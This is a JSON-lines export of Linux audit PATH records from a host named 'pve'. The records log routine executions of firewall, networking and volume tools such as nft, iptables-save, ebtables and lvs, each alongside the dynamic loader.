{"@timestamp":1781964519761,"@rawstring":"node=pve type=PATH msg=audit(1781964519.761:61372): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519760,"@rawstring":"node=pve type=PATH msg=audit(1781964519.760:61371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519760,"@rawstring":"node=pve type=PATH msg=audit(1781964519.760:61371): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PATH msg=audit(1781964519.681:61370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PATH msg=audit(1781964519.681:61370): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PATH msg=audit(1781964519.681:61369): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PATH msg=audit(1781964519.681:61368): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PATH msg=audit(1781964519.675:61367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PATH msg=audit(1781964519.675:61367): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PATH msg=audit(1781964519.675:61366): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PATH msg=audit(1781964519.675:61365): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515183,"@rawstring":"node=pve type=PATH msg=audit(1781964515.183:61364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515183,"@rawstring":"node=pve type=PATH msg=audit(1781964515.183:61364): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515180,"@rawstring":"node=pve type=PATH msg=audit(1781964515.180:61363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515180,"@rawstring":"node=pve type=PATH msg=audit(1781964515.180:61363): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=PATH msg=audit(1781964515.178:61362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=PATH msg=audit(1781964515.178:61362): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=PATH msg=audit(1781964515.178:61361): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515175,"@rawstring":"node=pve type=PATH msg=audit(1781964515.175:61360): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515175,"@rawstring":"node=pve type=PATH msg=audit(1781964515.175:61360): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515175,"@rawstring":"node=pve type=PATH msg=audit(1781964515.175:61360): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515169,"@rawstring":"node=pve type=PATH msg=audit(1781964515.169:61359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515169,"@rawstring":"node=pve type=PATH msg=audit(1781964515.169:61359): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515162,"@rawstring":"node=pve type=PATH msg=audit(1781964515.162:61358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515162,"@rawstring":"node=pve type=PATH msg=audit(1781964515.162:61358): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515156,"@rawstring":"node=pve type=PATH msg=audit(1781964515.156:61357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515156,"@rawstring":"node=pve type=PATH msg=audit(1781964515.156:61357): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515149,"@rawstring":"node=pve type=PATH msg=audit(1781964515.149:61356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515149,"@rawstring":"node=pve type=PATH msg=audit(1781964515.149:61356): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515144,"@rawstring":"node=pve type=PATH msg=audit(1781964515.144:61354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515144,"@rawstring":"node=pve type=PATH msg=audit(1781964515.144:61354): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515139,"@rawstring":"node=pve type=PATH msg=audit(1781964515.139:61353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515139,"@rawstring":"node=pve type=PATH msg=audit(1781964515.139:61353): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515134,"@rawstring":"node=pve type=PATH msg=audit(1781964515.134:61352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515134,"@rawstring":"node=pve type=PATH msg=audit(1781964515.134:61352): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515129,"@rawstring":"node=pve type=PATH msg=audit(1781964515.129:61351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515129,"@rawstring":"node=pve type=PATH msg=audit(1781964515.129:61351): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515124,"@rawstring":"node=pve type=PATH msg=audit(1781964515.124:61350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515124,"@rawstring":"node=pve type=PATH msg=audit(1781964515.124:61350): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515119,"@rawstring":"node=pve type=PATH msg=audit(1781964515.119:61349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515119,"@rawstring":"node=pve type=PATH msg=audit(1781964515.119:61349): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515113,"@rawstring":"node=pve type=PATH msg=audit(1781964515.113:61348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515113,"@rawstring":"node=pve type=PATH msg=audit(1781964515.113:61348): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515108,"@rawstring":"node=pve type=PATH msg=audit(1781964515.108:61347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515108,"@rawstring":"node=pve type=PATH msg=audit(1781964515.108:61347): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515104,"@rawstring":"node=pve type=PATH msg=audit(1781964515.104:61346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515104,"@rawstring":"node=pve type=PATH msg=audit(1781964515.104:61346): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515101,"@rawstring":"node=pve type=PATH msg=audit(1781964515.101:61345): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515101,"@rawstring":"node=pve type=PATH msg=audit(1781964515.101:61345): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=PATH msg=audit(1781964515.100:61344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=PATH msg=audit(1781964515.100:61344): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=PATH msg=audit(1781964515.100:61343): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=PATH msg=audit(1781964515.096:61342): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=PATH msg=audit(1781964515.096:61342): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=PATH msg=audit(1781964515.096:61342): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515090,"@rawstring":"node=pve type=PATH msg=audit(1781964515.090:61341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515090,"@rawstring":"node=pve type=PATH msg=audit(1781964515.090:61341): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515083,"@rawstring":"node=pve type=PATH msg=audit(1781964515.083:61340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515083,"@rawstring":"node=pve type=PATH msg=audit(1781964515.083:61340): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515078,"@rawstring":"node=pve type=PATH msg=audit(1781964515.078:61339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515078,"@rawstring":"node=pve type=PATH msg=audit(1781964515.078:61339): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515072,"@rawstring":"node=pve type=PATH msg=audit(1781964515.072:61338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515072,"@rawstring":"node=pve type=PATH msg=audit(1781964515.072:61338): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515064,"@rawstring":"node=pve type=PATH msg=audit(1781964515.064:61337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515064,"@rawstring":"node=pve type=PATH msg=audit(1781964515.064:61337): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515024,"@rawstring":"node=pve type=PATH msg=audit(1781964515.024:61336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515024,"@rawstring":"node=pve type=PATH msg=audit(1781964515.024:61336): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514992,"@rawstring":"node=pve type=PATH msg=audit(1781964514.992:61335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514992,"@rawstring":"node=pve type=PATH msg=audit(1781964514.992:61335): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PATH msg=audit(1781964514.663:61334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PATH msg=audit(1781964514.663:61334): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PATH msg=audit(1781964514.663:61333): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PATH msg=audit(1781964514.663:61332): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PATH msg=audit(1781964514.655:61331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PATH msg=audit(1781964514.655:61331): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PATH msg=audit(1781964514.655:61330): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=PATH msg=audit(1781964514.655:61329): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PATH msg=audit(1781964509.641:61328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PATH msg=audit(1781964509.641:61328): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PATH msg=audit(1781964509.641:61327): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=PATH msg=audit(1781964509.641:61326): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PATH msg=audit(1781964509.631:61325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PATH msg=audit(1781964509.631:61325): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PATH msg=audit(1781964509.631:61324): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=PATH msg=audit(1781964509.631:61323): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506055,"@rawstring":"node=pve type=PATH msg=audit(1781964506.055:61322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506055,"@rawstring":"node=pve type=PATH msg=audit(1781964506.055:61322): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506052,"@rawstring":"node=pve type=PATH msg=audit(1781964506.052:61321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506052,"@rawstring":"node=pve type=PATH msg=audit(1781964506.052:61321): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=PATH msg=audit(1781964506.051:61320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=PATH msg=audit(1781964506.051:61320): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=PATH msg=audit(1781964506.051:61319): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=PATH msg=audit(1781964506.047:61318): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=PATH msg=audit(1781964506.047:61318): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=PATH msg=audit(1781964506.047:61318): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506041,"@rawstring":"node=pve type=PATH msg=audit(1781964506.041:61317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 